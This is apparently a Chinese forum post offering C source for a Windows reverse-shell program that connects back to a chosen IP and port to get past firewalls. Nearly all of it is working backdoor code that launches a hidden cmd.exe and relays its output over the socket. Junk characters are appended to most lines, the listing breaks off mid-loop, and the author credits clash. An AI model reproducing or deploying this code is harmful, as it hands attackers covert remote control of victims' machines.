这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 OC1I&",Ai|
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/* ============================== +# GQ,
Rebound port in Windows NT =g/{%;
By wind,2006/7 k9$K}
===============================*/ Mzsfo;kk+
#include <.pU,T/
#include eAX
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#pragma comment(lib,"wsock32.lib") ;FBUwR}
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void OutputShell(); XpmS{nb
SOCKET sClient; bA=
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >wb'QzF:
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void main(int argc,char **argv) lrnyk(M}Q.
{ *F
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WSADATA stWsaData; /TZOJE(2j
int nRet; Qi_>Mg`x
SOCKADDR_IN stSaiClient,stSaiServer; I"Ms-zs
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if(argc != 3) j;s"q]"x]
{ 8#(Q_
printf("Useage:\n\rRebound DestIP DestPort\n"); V+Cwzc^j
return; 7:9.&W/KE
} L !=4N!j
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WSAStartup(MAKEWORD(2,2),&stWsaData); yyv8gH
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9;Itqe{8w
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stSaiClient.sin_family = AF_INET; ?47@o1
stSaiClient.sin_port = htons(0); Vnx,5E&
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?"zY"*>4
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0GB:GBhZ
{ Swp;HW7x
printf("Bind Socket Failed!\n"); |AcRIq
return; fQL"O}Z
} g0>,%b
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stSaiServer.sin_family = AF_INET; WA]c=4S
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); m>4ahue$
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); q6_u@:3u
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z|asa*
{ t]$P 1*I
printf("Connect Error!"); Eq$&qV-?(
return; Sp7ld7c
} hF@Gn/
OutputShell(); pX&pLaF
} I4i2+
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void OutputShell() j7sKsbb
{ U>V&-kxtV
char szBuff[1024]; >=UF-xk;
SECURITY_ATTRIBUTES stSecurityAttributes; 2P/K
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OSVERSIONINFO stOsversionInfo; Jd5:{{Lb
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; A,\6nO67
STARTUPINFO stStartupInfo; ?CC"Yij
char *szShell; )Psb>'X
PROCESS_INFORMATION stProcessInformation; ~=8uN<
unsigned long lBytesRead; {Zh>mHW3
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); h3*Zfl<]
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ZKQG:M~|
stSecurityAttributes.lpSecurityDescriptor = 0; @;<ht c
stSecurityAttributes.bInheritHandle = TRUE; jV?
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); z;A>9vQ_J
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Vs%|pIV
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); S+'rG+NJ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SfJ./ny
stStartupInfo.wShowWindow = SW_HIDE; 3xR#,22:}
stStartupInfo.hStdInput = hReadPipe; 8YkH
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |zegnq~
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GetVersionEx(&stOsversionInfo); 5 s2}nIe
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switch(stOsversionInfo.dwPlatformId) <.]& FPJ
{ BwA~*5TFu
case 1: <i@jD
szShell = "command.com"; \% Ih 6
break; -|UX}t*
default: }E]&13>r
szShell = "cmd.exe"; 8J@OMW&[l
break; ~]s"PV:|
} s~'C'B?
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); iK23`@&%_
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send(sClient,szMsg,77,0); >TVd*S
while(1) &dMSX}t
{ Z#t.wWSq
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =Qq^=3@h
if(lBytesRead) JaN_[ou
{ `9NnL.w!
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); I ywx1ac
send(sClient,szBuff,lBytesRead,0); PW\FcT
} J:!Gf^/)
else JqIv&W